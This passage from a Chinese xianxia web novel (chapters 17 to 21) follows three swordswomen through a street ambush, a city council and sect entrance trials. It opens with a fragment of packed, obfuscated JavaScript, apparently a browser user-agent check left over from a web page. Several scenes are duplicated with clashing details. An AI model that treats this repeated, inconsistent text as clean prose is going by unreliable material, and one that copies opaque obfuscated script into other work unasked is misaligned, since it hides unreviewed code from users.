d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晨光熹微,透过雕花木窗,洒在翠微阁的青砖地上。唐婉收功起身,体内真气流转,昨夜那股噬魂草的阴寒之气已被彻底炼化。她瞥了一眼空荡荡的床榻,白浅早已不在房内。“跑得倒快。”唐婉嘴角微微一勾,不知是失落还是释然。昨夜那肌肤相亲的触感,以及心神交融时的温热,似乎还残留在指尖。她推门而出,院中春风拂面。令她意外的是,白浅并未躲藏,而是正与陆青烟在院中练剑。白浅身着一袭素衣,剑法灵动飘逸,每一招都蕴含着巴山夜雨城独有的韵律,那是远比地隐门粗浅武学更为精妙的“隐水剑法”。陆青烟在一旁悉心观摩,试图依葫芦画瓢,虽得其形却不得其神。唐婉没有打扰,只是静静地看着。她发现白浅的气色好了很多,虽然修为尚未恢复,但那股濒死的颓废感已然消散。一套剑法练罢,白浅收剑而立,轻抹额上细汗。一转头,正对上唐婉灼热的目光。她脸颊微红,强装镇定地点了点头:“唐师妹,早。”“看来恢复得不错。”唐婉走上前,语气带着一丝调侃,“凝煞七阶了,值得庆祝。”白浅低头看着手中的剑,声音轻柔:“这多亏了你们。若按这个进度,不出一月,我便能恢复初窥段的修为。”“一月”唐婉沉吟。这个时间不长不短,正好够她摸清巴山夜雨城的底细,也够彩羽楼的杀手再来好几拨。陆青烟走过来,自然地挽住唐婉的手臂,指尖微凉:“唐婉,别老是板着脸嘛。你看白师姐恢复得好,我们应该开心才是。”唐婉身体微微一僵,却没有挣脱。这种亲昵让她有些不适,却又莫名贪恋那一丝凉意。“对了,”白浅突然提议,“这些天一直闷在院子里解毒、练功,怪压抑的。今日我想去城里走走,二位可愿陪我?”唐婉挑眉:“你身体受得住?”“哪有那么娇气。”白浅轻咬嘴唇,眼中闪过一丝期待,“这巴山夜雨城,我都未曾好好逛过。”唐婉看着她眼中那抹久违的鲜活,心中一动,点头道:“也好。这二十多天,确实太紧绷了。”三人简单收拾,走出了翠微阁。这是唐婉第一次真正意义上走入这座城池。巴山夜雨城分为内外两城,中轴线布局严谨。内城是武学重地,宫殿巍峨;外城则是繁华市井,街道宽阔,商贾云集。唐婉与陆青烟虽戴着面纱,却难掩绝色。再加上气质温婉的白浅,三位佳人并肩而行,引得路人纷纷侧目。“这巴山夜雨城,倒是热闹。”唐婉 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看着沿街叫卖的商贩,心中却无半分归属感。这里再好,也不是她的家。她和白浅,终究是这世间的浮萍,随风飘荡。陆青烟似乎察觉到唐婉的落寞,轻轻捏了捏她的手心:“别想太多,有我们在。”就在这时,一股与这热闹格格不入的阴冷气息,悄然弥漫开来。唐婉脚步猛地一顿,目光如电,射向路旁一处阴暗的角落。“何方宵小,鬼鬼祟祟!”她一声冷喝,如惊雷炸响。与此同时,白浅与陆青烟也瞬间警觉,三人背靠背围成一圈。“呵呵呵”一阵淫邪的笑声传来。四个黑衣人从暗处窜出,为首的黑脸大汉舔着嘴唇,目光在三人身上肆无忌惮地游走:“柳家办事,不想死的,滚远点!”“柳家?”白浅瞳孔一缩,“柳原的余孽?”“余孽?”黑脸大汉怒极反笑,“小娘皮,上次让你跑了,这次看你往哪逃!老大说了,抓回去活祭!”唐婉冷笑一声,手腕一抖,闪魂剑铿然出鞘。“就凭你们这几个臭鱼烂虾?”她体内丹田内核疯狂旋转,一股血红色的煞气弥漫开来,方圆三丈内的气温骤降。那黑脸大汉感受到这股令人窒息的杀意,脸上的得意瞬间僵硬。唐婉看着这群不知死活的杂碎,眼中猩红一片。 17. 一蓑烟雨任平生 唐婉那声“惜春?这春天,得用敌人的血来祭奠才行”的冷语尚在街头回荡,杀气却已如实质般凝固了空气。街道上的行人逐渐稀疏,夜色下的巴山夜雨城显得格外寂静而神秘。两位身着黑衣的女子悄无声息地立于街道旁的一座屋顶之上,她们的身影在月光的映照下显得格外冷峻。她们的目光如同两把锋利的剑,紧紧锁定在下方唐婉、陆青烟与白浅等人的身上。她们正是巴山夜雨城城主白望春座下的四位弟子之二的寒青萝和赵琳,寒青萝身上青色的衣衫被雨水淋透,勾勒出凹凸曼妙的曲线,纤细的柳腰,简直就像是行走在黑夜中的艳鬼幽灵,赵琳的脸上蒙着面纱,露出一双美丽的眼眸。“白城主真是料事如神,派我们暗中保护白浅大小姐和唐姑娘,果然遇到了杀手。”其中一个高瘦的黑衣女子声音低沉而阴森,她的背上背着一柄铁线弓,十支惊雷箭整齐地排列在弓弦旁,散发出冰冷的杀气。她的语气中透露出对城主白望的敬佩,以及对眼前局势的严峻判断。话音未落,两位黑衣女子几乎同时抽出了数只惊雷箭,迅速搭在弓弦之上,瞄准了下方的黑脸大汉。只见一道寒光闪过,惊雷箭如离弦之箭般飞了出去,瞬间击穿了黑脸大汉的背心。紧接着,箭头炸开,化为一个拳头大小的雷球,一道道闪电从雷球中迸发出来,电光火石之间,只听得九声噗噗闷响,以黑脸大汉为中心,他身边的九个蒙面人的背上都留下了一个碗口大小的血窟窿,尸体纷纷倒地。这一突如其来的变故让剩下的蒙面人惊恐万分,他们虽然严阵以待,但面对如此强大的敌人,却没有一个敢贸然上前。他们全都把武器挡在面前,生怕惊雷箭再次射向他们。此刻,唐婉与白浅二人已经联手,她们的眼神中闪烁着坚定的光芒。唐婉直接施展出了上品武技七仙女剑诀中的“天女散花”,一剑刺出,剑锋周围的空气发出了“啪啪”的声音,剑光如织,绚烂而致命。相比于一个月之前,她的剑法上剑心通明的造诣又有了新的进步,剑招之间透露出一种超凡脱俗的意境。“商玄破梅”是天音剑法中的一招,白浅亦祭出已达到剑音通明境界的天音剑法,她的剑法轻盈而灵动,剑音清脆悦耳,却暗藏杀机。二人合力之下,剩下的七个黑衣刺客很快就被悉数斩杀,街道上再次恢复了平静。就在此时,刚才释放惊雷箭的寒青萝和赵琳两道黑色人影迅速闪过,从一座木质高塔上飞落下来,轻轻地落在了一座四层的飞檐阁楼之上,然后瞬间消失得无影无踪。 巴山夜雨城城主白望春的寝宫,一位穿着宫装的侍女,跪在地上,有些惊慌的道:“城主,果然有杀手,唐婉姑娘陆姑娘和白浅大小姐出宫在外城街道遭遇刺杀,杀手现已全部被击毙。”白望春平稳的坐在椅子上,显得波澜不惊,道:“我已派寒青萝和赵琳前去暗中保护,以她们的修为,应该没有问题。”白浅、唐婉和陆青烟三人刚刚离开大街往内城住处翠微阁方向返回,就看见一队穿着铠甲的巴山夜雨城禁卫军女弟子骑着战驹,从大街中央急冲过去,卷起一大片烟尘。路边一个老者,望着急冲过去的禁卫军,低声叹道:“也不知谁那么大的胆子,居然刺杀公主白浅大小姐,还好没的手,现在城主命令全城戒严,就连街区的进出口都被封闭了!”“轰隆隆!”一队禁军女弟子冲过来,整齐的跪倒在白浅、唐婉她们三人的面前,其中,最前面的一位女弟子,恭恭敬敬的道:“大小姐及唐师姐陆师姐,城主召你们立即回宫!” 巴山夜雨城宫城殿大殿上白望春端坐中央,“多少年了,居然又有人敢在王城刺杀贵族成员,胆子真是不小。”白望春发出一声冷哼。“见过城主。”四周一片恭敬的声音响起,巴山夜雨城五位大区的美女区主长老异口同声地行了礼。白望春轻轻地点了点头,神色凝重。刚才她得到唐婉和白浅出门遇袭,的消息时,心中震惊难以平复。这五位区主,分别是宫鸣区区主鹤之舞、商风区区主叶轻扬、角鹿区区主乐林间、徵水区区主波涟漪、羽鹤区区主翔云天。她们都是凌霄段的剑道高手,不仅美貌出众武艺高强,更是蕙质兰心,能力超群。巴山夜雨城,并非普通的城池,它坐落于一个巨大的环形山谷之中,四周被崇山峻岭环抱,乱石嶙峋间,高松翠柏挺拔而立,烟雨蒙蒙,宛如仙境。这座城池巨大无比,一眼望去,根本看不到边际,只有那无尽的云雾缭绕,烟雨朦胧,为这座城池增添了几分神秘与美丽。宫鸣区区主鹤之舞,身姿曼妙,宛如仙鹤起舞,她智慧过人,善于洞察人心,是宫鸣区的灵魂人物。商风区区主叶轻扬,行事雷厉风行,如同商风一般锐利,她擅长谋略,是巴山夜雨城中不可或缺的智囊。角鹿区区主乐林间,性情温婉,如同林间小鹿,她心怀慈 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悲,深受百姓爱戴,是角鹿区的守护者。徵水区区主波涟漪,眼神深邃,宛如水面上的涟漪,她精通情报,是巴山夜雨城的耳目,为城池的安全立下赫赫战功。羽鹤区区主翔云天,身姿挺拔,宛如翱翔天际的鹤,是巴山夜雨城的守护者,也是五位区主中的佼佼者。宫鸣以鹤之舞示人,身姿轻盈,宛如柳丝轻摆,率先开口,声音清脆悦耳,如玉盘落珠:“城主大人,唐婉与白浅两位姑娘,犹如九天玄鹤,吉星高照,定能化险为夷,平安归来。我等已加强各区警戒,铜墙铁壁般守护巴山夜雨城,不容宵小之辈再玷污城池清誉。”白望春闻言,微微点头,眼中忧虑如秋日湖面薄雾轻漾:“鹤之舞,你心细如发,我已明了。但此事背后,或许藏着深不可测的阴谋,我们需如履薄冰,小心应对。经查,此次祸端因城中浪荡子柳原而起,他贪图美色,调戏宗女弟子秦岚,致其不幸。白浅姑娘愤而手刃此贼,但柳家权势滔天,勾结杀手组织彩羽楼的刺客,意图加害白浅姑娘等人。此事关乎我城声誉,必须彻查严惩。”商风区区主叶轻扬,面容冷峻,声音坚定:“城主大人,我已派精兵沿唐婉师侄与白浅大小姐遇袭之路搜寻,同时加强城门守卫,严查进出之人,力求早日揪出幕后黑手。”角鹿区区主乐林间,性情温婉,此刻神色凝重:“城主大人,我将动员各区门中弟子,织网般密布全城,留意可疑人物,确保安宁。同时,加强对宗女弟子的保护,不容其再受伤害。”徵水区区主波涟漪,眼神睿智:“此外,我将利用情报网络,洞察万物,尝试从外部获取‘彩羽楼’及柳家机密,助力查找真相。同时,加强对白浅姑娘等人的保护,如护城之河,波澜不惊,暗藏杀机。”羽鹤区区主翔云天,身姿挺拔,语气坚定:“城主大人,无论背后势力如何,羽鹤区都将如利剑出鞘,誓与巴山夜雨城共存亡。对柳家及彩羽楼,我们必将秋风扫落叶般一扫而空,还巴山夜雨城清明。”白望春听后,心中宽慰,笑颜如花:“有你们忠勇之士,我信心倍增。但行事需谨慎,不可打草惊蛇。既要保护百姓安全,也要找出真相,绝不让任何人危害巴山夜雨城。对柳家及彩羽楼,我们必将给予雷霆一击,以正乾坤,以安民心。”五位区主齐声应命,各自离去。在她们的共同努力下巴山夜雨城悄然布下一张如诗如画却又杀机四伏的防护网。 18. 何当共剪西窗烛 街道上的行人如潮水般退去,夜色下的巴山夜雨城外城,只剩下肃杀与死寂。两道黑影悄无声息地立于街道旁的一座屋顶之上,月光将她们的轮廓勾勒得冷峻无比。她们正是白望春座下的得力干将——寒青萝与赵琳。寒青萝身上的青色衣衫被夜露浸透,紧贴肌肤,勾勒出曼妙的曲线,她如同暗夜中的幽灵,目光阴冷。赵琳脸上蒙着面纱,只露出一双美丽的眼眸,背上那张铁线弓寒光森森。“城主真是料事如神,派我们暗中保护,果然遇到了杀手。”寒青萝声音低沉,如夜枭啼鸣。话音未落,二人几乎同时抽出惊雷箭,搭上弓弦。“嗖!嗖!”两道寒光划破夜空,直奔下方的黑脸大汉而去!“噗!”惊雷箭瞬间击穿黑脸大汉的背心,箭头炸开,化为拳头大小的雷球。电光火石之间,以他为中心,九道雷光迸发,身边的蒙面人甚至来不及惨叫,背上便留下了碗口大的血窟窿,纷纷倒地毙命。这一突如其来的变故让剩下的蒙面人惊恐万分。他们虽然严阵以待,但面对这等远程狙杀的高手,却没有一个敢贸然上前,只能将武器挡在面前,瑟瑟发抖。“该死!还有弓箭手!”一个蒙面人惊呼。就在他们分神的一刹那,唐婉动了。她直接施展《七仙女剑诀》中的“天女散花”,一剑刺出,剑锋周围的空气发出“啪啪”的爆鸣声。剑光如织,绚烂而致命,瞬间收割着剩余蒙面人的生命。相比于一个月之前,她的剑法在“剑心通明”的意境上又有了新的进步,招式之间透露出一种超凡脱俗的杀意。“商玄破梅!”白浅亦祭出天音剑法,她的剑法轻盈灵动,剑音清脆悦耳,却暗藏无穷杀机。二人合力,如砍瓜切菜般,剩下的七个黑衣刺客很快就被悉数斩杀。街道上血流成河,再次恢复了死寂。寒青萝与赵琳对视一眼,身形一闪,如鬼魅般从高塔上飞落,在屋檐间几个起落,便消失得无影无踪。她们的任务只是清除威胁,并不现身。唐婉拄着剑,微微喘息,看向白浅:“没事吧?”白浅摇了摇头,脸色有些苍白,但眼神却异常坚定。三人正欲往内城走去,一队穿着铠甲的巴山夜雨城禁卫军女弟子骑着战驹疾驰而来,卷起一大片烟尘。“吁——!”战马人立而起,整齐地跪倒在三人面前。最前面的女队长恭恭敬敬地道:“大小姐、唐师姐、陆师姐,城主有令,召你们立即回宫!”巴山夜雨城,宫城殿。大殿内灯火通明,气氛凝重得仿佛要滴出水来。白望春端坐于大殿中央,五位区主分列两侧。宫鸣区主鹤之舞,身姿曼妙,宛如仙鹤起舞,她智慧过人,善于洞察人心。商风区主叶轻扬,行事雷厉风行,如同商风一般锐利,是城中的智囊。角鹿区主乐林间,性情温婉,如同林间小鹿,深受百姓爱戴。徵水区主波涟漪,眼神深邃,宛如水面涟漪,精通情报,是城池的耳目。羽鹤区主翔云天,身姿挺拔,宛如翱翔之鹤,是五位区主中的佼佼者。“多少年了,居然又有人敢在王城刺杀贵族成员,胆子真是不小。”白望春发出一声冷哼,声音在大殿内回荡。“见过城主。”唐婉、白浅与陆青烟入殿行礼。白望春轻轻点头,神色凝重。刚才她得到消息时,心中的震惊难以平复。这五个区主,个个都是凌霄段的剑道高手,不仅美貌出众,更是蕙质兰心,能力超群。鹤之舞率先开口,声音清脆如玉盘落珠:“城主大人,唐婉与白浅两位姑娘,犹如九天玄鹤,吉星高照,定能化险为夷。我等已加强各区警戒,定不让宵小之辈再玷污城池清誉。”白望春闻言,微微点头,眼中忧虑如秋日湖面的薄雾:“鹤之舞,你心细如发,我已明了。但此事背后,恐怕藏着深不可测的阴谋。”她顿了顿,继续道:“经查,此次祸端因城中浪子柳原而起。他调戏宗女弟子秦岚不成,反被白浅所杀。柳家权势滔天,竟勾结杀手组织‘彩羽楼’的刺客,意图加害白浅等人。此事关乎我城声誉,必须彻查严惩!”叶轻扬面容冷峻,声音坚定:“城主大人,我已派精兵沿路搜寻,同时加强城门守卫,严查进出之人,力求早日揪出幕后黑手。”I乐林间神色温婉却透着肃杀:“我将动员各区弟子,织网般密布全城,留意可疑人物。同时,加强对宗女弟子的保护,不容其再受伤害。波涟漪眼神睿智,如同洞察万物:“此外,我将利用情报网络,尝试从外部获取‘彩羽楼’及柳家机密。同时,加强对白浅姑娘等人的保护,如护城之河,波澜不惊,暗藏杀机。”翔云天身姿挺拔,语气如利剑出鞘:“城主大人,无论背后势力如何,羽鹤区都将誓与巴山夜雨城共存亡。对柳家及彩羽楼,我们必将秋风扫落叶般一扫而空,还巴山夜雨城清明!”白望春听后,心中宽慰,笑颜如花,却又带着不容置疑的威严:“有你们忠勇之士,我信心倍增。但行事需谨慎,不可打草惊蛇。既要保护百姓安全,也要找出真相,绝不让任何人危害巴山夜雨城。对柳家及彩羽楼,我们必将给予雷霆一击,以正乾坤,以安民心。”“谨遵城主令!”五位区主齐声应命,大殿内杀气腾腾。在她们的共同努力下,巴山夜雨城悄然布下了一张如诗如画却又杀机四伏的防护网。风暴,正在酝酿;而惜春,也将在这血与火中,迎来最残酷的洗礼。翠微阁外的石板路,如今每日都会准时响起整齐划一的脚步声。一百名全副武装的女子护卫队,身披重甲,手持长戟,如铁桶般将唐婉三人出行的车队护在中央。带队之人,正是白望春座下四大弟子之一的严时芳。此女修为已达化境段,在巴山夜雨城绝对是顶尖强者。有她在侧,一路上连只苍蝇都飞不进来。可这过度的保护,却让白浅感到一种窒息的压抑。“城主大人,”一日,白望春身边的贴身侍女低声进言,“雏鹰若总在母鹰的羽翼下,又如何能翱翔高空?这般护着大小姐,恐于修行无益。”白望春立于窗前,望着街上那支浩浩荡荡的护卫队,微微颔首:“你说得有理。想当年,本宫十四岁便拜入秋池剑阁,刀口舔血,方有今日。浅浅如今已是初窥段上品,或许……是时候让她去闯闯了。”侍女轻声道: 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“可若送大小姐去秋池剑阁,那唐婉和陆青烟二位姑娘,按先前约定,治好了大小姐,便要留在巴山深造。她们若也去秋池剑阁,恐与地隐门的约定有悖。”白望春眼中精光一闪:“不错。地隐门野心勃勃,我不能将三人都送进同一个庞然大物肚子里。”她沉吟片刻,决断道:“传令下去,推荐唐婉与陆青烟,去参加雨韵剑宗的选拔。至于浅浅,让她独自去闯秋池剑阁!”雪域巴山,风雪弥漫。除了巴山夜雨城这个庞然大物,周边还散落着七个依附生存的小宗门。此刻,来自各宗的年轻女剑客们,正汇聚于秋池剑阁外阁武场。白浅一身素衣,孤身盘坐在人群边缘。她没有带任何随从,也没有那一百人的护卫队。这一刻,她不再是那个被圈养在金丝笼里的公主,而是一个真正的剑客。“那就是巴山夜雨城的大小姐?”“听说她前段时间中了噬魂草剧毒,命悬一线,没想到这么快就恢复了。”“哼,靠着城主庇护罢了,真本事未必有多强。”周围的窃窃私语,白浅充耳不闻。她的目光,死死盯向武场中央那座七丈高台后方,崖壁上刻着的六个苍劲大字——“秋池外阁武场”。字中有剑意。那是一种凌厉、孤高、甚至有些冷酷的剑意。白浅闭上眼,将心神沉浸其中,试图去触摸那个传说中的境界——剑心通明。与此同时,千里之外的雨韵剑宗。这里的氛围与秋池剑阁截然不同。秋池如烈日,炽热刚猛;雨韵如烟雨,朦胧绵长。唐婉与陆青烟并肩立于细雨之中。雨水打湿了唐婉的青衫,她却一动不动,任由冰凉的雨水冲刷着体内的燥热。她能感觉到,这雨水中蕴含着一种独特的剑意,柔和中藏着坚韧。“唐婉”陆青烟撑着一把油纸伞,遮在二人头顶,“你在想什么?”“我在想,白师姐一个人在秋池,会不会受欺负。”唐婉嘴角勾起一抹冷笑,“还有,这雨韵剑宗的剑法,倒是适合你疗伤。”陆青烟微微一笑,眼中却闪过一丝忧虑:“你也别大意。这雨韵剑宗看似温和,实则暗流涌动。我们要在这里站稳脚跟,恐怕不容易。”唐婉抬头,看向那云雾缭绕的山门,眼中燃起熊熊斗志。“无妨。无论是秋池还是雨韵,只要是挡在我面前的,我唐婉,一剑足矣。”次日,天色微亮。“当!当!当!”三声震耳欲聋的钟声,自秋池剑阁内响起,惊起漫天飞鸟。武场中央,那座七丈高台上,一位身着金袍的老妪负手而立。她身上的长袍散发着刺目的金芒,如同一轮烈日,让在场一百三十七名剑客几乎睁不开眼。此人,正是秋池剑阁外阁阁主!“今年,雪域巴山共一百三十七人参加选拔。”老妪声音嘶哑,却带着不容置疑的威严,“考试两轮。初试,杀雪域灵兽!复试,武塔闯关!最终,取前二十名,入我秋池外阁!”话音落下,全场死寂。杀生?这对于许多养尊处优的宗门弟子来说,无疑是一道催命符。白浅握紧了手中的剑,指节因用力而发白。她看着高台上那轮“烈日”,心中只有一个念头:惜春之年,当以此剑,证我道心! 19. 昔日龌龊不足夸 金袍老妪的话音落下,整座秋池外阁武场的气氛瞬间凝固,随即是炸裂开来的哗然。“杀雪域灵兽?这……这也太残忍了!” “我们只是来参加入门考试,不是来送死的!” 哭喊声、咒骂声、祈求声交织在一起。许多来自小宗门的女弟子吓得花容失色,双腿发软,甚至有人当场失禁,恶臭弥漫。高台之上,老妪面若寒霜,毫无波澜。在她眼中,剑修之路,本就是尸山血海,连这点血都不敢见,何谈证道?“嗖——!”一根金色的令旗自高台射出,狠狠插在武场东侧的雪丘之上。“半个时辰内,猎杀不够十头‘风雪狼’,淘汰。”冰冷的宣判落下,如同一盆冰水,浇灭了所有侥幸。白浅深吸一口气,缓缓起身。她没有去抢夺令旗,而是独自一人,逆着惊慌失措的人流,向那片风雪最肆虐的深谷走去。“喂!巴山夜雨城的大小姐!”一个尖锐的声音传来,“你以为你很了不起吗?没有护卫队,你死在里面都没人收尸!” 白浅头也未回,只是握紧了剑柄。 护卫队?那是给弱者准备的温床。今日,她要亲手撕碎这层保护壳。 深谷之内,风雪如刀。 白浅素白的衣衫在狂风中猎猎作响。她闭上眼,耳廓微动,感知着周围的一切。 “嗷呜——!” 一声狼嚎划破长空。 紧接着,七八道灰影自雪雾中窜出,獠牙外露,腥风扑面。这正是风雪狼,速度极快,成群结队,最喜以多欺少。 若是往常,白浅或许会忌惮三分。但此刻,她体内那股被压抑许久的杀意,如火山般喷涌而出。 “隐水剑法——惊鸿掠影!” 白浅动了。 她的身影化作一道流光,在狼群中穿梭。剑光如电,每一次闪烁,都伴随着一声凄厉的哀嚎。 这不是切磋,而是猎杀。 剑尖刺入血肉的触感,温热而粘稠。白浅的瞳孔中倒映着鲜血的颜色,那股属于剑客的嗜血本能,正在一点点苏醒。 当最后一头风雪狼倒在她脚下时,她身上的素衣已染上了斑斑血点。 她伸出手,轻轻抹去脸颊上的一滴狼血,眼神清冷如冰。 在这修仙界,春天从来不属于弱者。 与此同时,雨韵剑宗这里的考核没有血腥的杀戮,却更加诡异。唐婉与陆青烟站在一片迷蒙的烟雨之中。前方,是一座看不见顶的石阶,名为“问心梯”。“雨韵剑宗,考心不考力。”一位女长老悬浮于半空, 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声音空灵,“此梯共三千阶,每登一阶,便增一分心魔。心魔不破,身死道消。”唐婉抬头望去,那石阶隐没在云雨之中,仿佛一条通往天际的绝路。“我先上。”陆青烟握了握唐婉的手,指尖微凉,“若我中途失控,你莫要回头。”唐婉反手扣住她的手腕,力道极大:“别说傻话。要上一起上。”两人踏上石阶。第一步,风平浪静。第一百步,细雨变成了利刃,切割着肌肤。第五百步,唐婉看到了心魔——那是前世唐门被灭门的惨状,父母倒在血泊中,指着她,骂她无用。“滚出去!”唐婉怒吼一声,一剑劈碎了幻象。鲜血顺着她的眼角流下,她却笑得癫狂。这心魔,她每天都在经历,早已百毒不侵!而陆青烟那边,情况却急转直下。她的脚步开始踉跄,脸色惨白,仿佛看到了最恐惧的画面——唐婉死在了她的面前,身体冰凉。“不,不要”陆青烟精神几近崩溃,脚下一软,就要向后跌落。就在这一瞬,一只温热的手掌猛地抓住了她的手臂。唐婉死死拽着她,任由漫天剑雨割破自己的皮肤,咬牙道:“看着我!陆青烟,看着我!我在这儿,没人能杀我!”那双坚定的眼眸,穿透了重重迷雾,成为了陆青烟唯一的支点。她们不再是孤单的浮萍。在这杀机四伏的仙途中,她们互为彼此的道心。 20. 剑气冲霄试锋芒 天色如墨,压得人喘不过气。雨韵剑宗连绵起伏的群山中,惨叫声此起彼伏,划破死寂的夜空。信号弹炸开的刺眼光芒,映照着山林间奔逃的身影。然而,当巡查者循着血腥味赶到时,往往只看到一具尚有余温的尸体,凶手早已遁入黑暗,无影无踪。“邪门!真是邪门!”一位手持长枪的巡查女修脸色铁青,踢了一脚脚下的尸体,“这才第一夜,就折了二十多个好手。这届考试,是要把人命不当命吗?”十日期限转瞬即逝。当黎明的曙光刺破云层,幸存者们拖着疲惫的身躯走出大山时,人数已从百余骤减至三十有余。有人欢喜,有人欲绝。白望春的院落内,烛火摇曳。她并未就寝,而是坐在石桌前,手中一块软布,正细细擦拭着那柄寒气森森的佩剑。剑身映照着她复杂的神色。寒青萝、赵琳、严时芳、莲姝四人垂手立于院中,气氛凝重。“青萝,看看结果。”白望春头也未抬,声音低沉。寒青萝双手接过那卷兽皮名册,目光如电般扫过。“唐婉,位列第七。”“陆青烟,位列第九。”她念得极快,但读到这两个名字时,语调微微一顿。“哦?”白望春停下手中的动作,剑锋一转,映出她若有所思的眸子,“都进了前十?看来这雨韵剑宗,倒真是个藏龙卧虎的地方。”严时芳轻哼一声,眼中闪过一丝不服:“城主,这二人能在百人中杀出重围,实力确实不容小觑。但接下来的‘诛心塔’,才是真正的试金石。”“诛心塔”白望春喃喃自语,眼中闪过一丝回忆,“那地方,杀人不眨眼。你们切莫掉以轻心,那里面关着的,可不是凡物。”雨韵剑宗,内门广场。正午时分,阳光毒辣,却驱不散广场上的阴冷。那座名为“诛心塔”的七层建筑,孤零零地矗立着,塔身泛着幽幽的金属光泽,仿佛一只蛰伏的巨兽,随时准备吞噬闯入者。塔前,雨灵长老一袭黑袍,声音嘶哑:“第一轮猎杀结束,幸存者留。一刻钟后,闯诛心塔。取前二十,入我外阁。”话音未落,人已消失。众剑修面面相觑,空气中弥漫着恐惧。“听说那塔里有鬼,是历代死去的剑修怨魂所化”“别胡说!那是凶兽,介于虚实之间,非实体,寻常剑招根本伤不了它!”唐婉站在人群中,神色淡然。她身旁,陆青烟轻轻拽了拽她的衣袖,低声道:“我上次闯过第三层第一关,但在第二关败了。这塔很怪,里面的凶兽能看穿你的弱点。”唐婉嘴角勾起一抹冷峭:“看穿弱点?那便让它看看,什么是真正的杀意。”“哗——”塔门开启,第一批十人入内。时间一点点流逝。四分钟,第一人惨叫着被弹出塔外,面色惨白,□□湿透。十分钟,五人接连失败。半个时辰后,诛心塔第二层的灯光,亮了。“好!有四个人闯过了第一层!”塔外,几位长老精神一振。雨灵长老抚须点头:“这四个小家伙不错,不知能否触碰到第三层的门槛。”又过了半个时辰。就在众人以为第一层的人都要失败时,第三层的灯光,毫无征兆地亮了!“三层!”“这怎么可能?这一批只有两个人上去了!”一位长老惊呼,手中的茶盏差点摔碎。“是唐婉和陆青烟!”有人认出了她们。塔内,密室。灵气镜面上,清晰地映出唐婉的身影。雨灵长老死死盯着镜面,眼中精光闪烁:“陆青烟四岁开启地煞印记,天赋异禀,能上第三层在意料之中。但这唐婉她竟然也上去了?”“这唐婉,体质奇特,五感敏锐得可怕。若论天赋,恐怕还在陆青烟之上。”“若是她也闯过了第三层第一关”一位长老忧心忡忡,“咱们雨韵剑宗,可是好不容易才压下去女修崛起的势头啊。”众长老默然。若唐婉也通关,那意味着未来数年,雨韵剑宗的高层,将再次被女性剑修牢牢把控。诛心塔,第三层。小门上方,刻着三个古字第一关。唐婉推开石门,从容踏入。门后并非想象中的黑暗,而是一座长宽二十米、高三十米的封闭练武场。四面铁壁上,十六盏青铜灯幽幽燃烧。“嗡——”一股强大的灵压降临。石壁裂开,一道倩影自石壁中走出。那是一名身着白衣的绝色女子,容貌清丽,却浑身散发着令人窒息的杀意。“洛瑶。”女子开口,声音空灵,“代表本院四百六十年来,最强的笃行境中期剑修。”唐婉横剑当胸,闪魂剑发出一声清越的嗡鸣。“最强的 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笃行中期?”她挑了挑眉,非但没有惧色,眼中反而燃起熊熊战意,“若我败你,当如何?”洛瑶嫣然一笑:“那你便取代我,成为这一关的守关者。不过,你会死。”“试试看。”话音未落,唐婉动了。剑心通明之境全力爆发,她的身影与空间融为一体,仿佛一道撕裂虚空的闪电。洛瑶脸色一变,显然没料到同境界的剑修中,竟有人能将速度与意境结合得如此完美。“铛!铛!铛!金铁交鸣之声不绝于耳。在密室的灵气镜前,众长老看得目瞪口呆。画面中,唐婉的剑法凌厉如狂风骤雨,逼得洛瑶连连后退,毫无还手之力。“九十三招!”“洛瑶接了她九十三招!”“这唐婉的剑,是要逆天吗?”“噗嗤!”第九十四招,闪魂剑如毒蛇出洞,精准地刺穿了洛瑶的眉心。洛瑶的身影定格,随即化作点点灵光消散。“你赢了。”空气中回荡着她最后的赞叹,“天资在我之上。”唐婉收剑,长舒一口气,额头上渗出细密的汗珠。“同境界最强?也不过如此。”她轻声自语,推开那扇通往第二层的铁门。密室外,雨灵长老猛地站起身,椅子与地面摩擦发出刺耳的声响。“她杀了洛瑶!在一百招之内,杀死了同境界的最强者!”“这唐婉到底是人是魔?”唐婉并不知道外面的震动。她推开了第二层第一关的大门。又是那座熟悉的练武场。又是那个石壁。石壁裂开,洛瑶再次走了出来。她看着唐婉,笑得依旧灿烂:“我们又见面了。”唐婉眉头微蹙:“还是你?”“没错。”洛瑶身上的气息,比刚才恐怖了十倍不止,“现在的我,是本院四百六十年来,最强的笃行境后期剑修。”“最强大的后期?”唐婉握剑的手,指节微微发白。这已不是越级挑战,而是跨越了两个大境界的碾压!洛瑶负手而立,语气中带着怜悯:“接住我一招,算你赢。但我若用兵器,这一层,将无人能通过。”唐婉深吸一口气,将体内所有的凝煞之气疯狂注入闪魂剑。剑身颤抖,发出龙吟般的轰鸣。“来吧。”她眼中只有那柄剑,和那个不可战胜的敌人。惜春之年,若连这一关都过不去,何谈复仇?何谈守护? 21. 诛心塔亮震群雄 诛心塔第二层,封闭练武场内。空气仿佛凝固成了钢铁,沉重得让人窒息。唐婉握剑的手心已满是汗水,她从未想过,所谓的“接一招”,竟是面对西院四百六十年来最强的笃行境后期灵虚体。洛瑶依旧笑得温婉,仿佛那张脸是用万年寒冰雕琢而成,不带一丝烟火气。“开始吧。”唐婉深吸一口气,将全身的凝煞之气疯狂灌注于闪魂剑中。剑身嗡鸣,那颗“混沌珠”在体内疯狂旋转,试图对抗这股令人绝望的威压。“破!”洛瑶轻启朱唇,只吐一字。没有繁复的剑招,没有绚烂的特效。她只是简简单单地伸出一指,凌空点向唐婉的眉心。这一指,仿佛抽干了天地间所有的灵气。唐婉只觉眼前一黑,四周的空间瞬间坍塌,将她死死禁锢在原地。这不再是剑术的比拼,而是境界的绝对碾压!“噗!”唐婉喷出一口鲜血,整个人如断了线的风筝倒飞出去,重重撞在铁壁之上。“我就说,不可能接得住。”塔外,一位长老冷笑。唐婉艰难地爬起,骨骼寸寸作响。“放弃吗?”“不。”她抹去嘴角的血迹,眼中那抹疯狂的战意不仅没有熄灭,反而燃烧得更加炽烈。“惜春之年,岂能死在这里?”她再次举剑,这一次,她不再试图防守,而是将所有的意念,所有的仇恨,所有的守护之心,全部凝聚在这一剑之上!“九天玄女,七仙女剑诀万剑归宗!”与此同时,秋池剑阁外。晨雾如轻纱般笼罩着大地,远处的山峦若隐若现。白浅坐在马车上,心情却不像天气这般明媚。“大小姐,到了。”严时芳掀开车帘,声音一如既往的清冷。白浅跳下马车,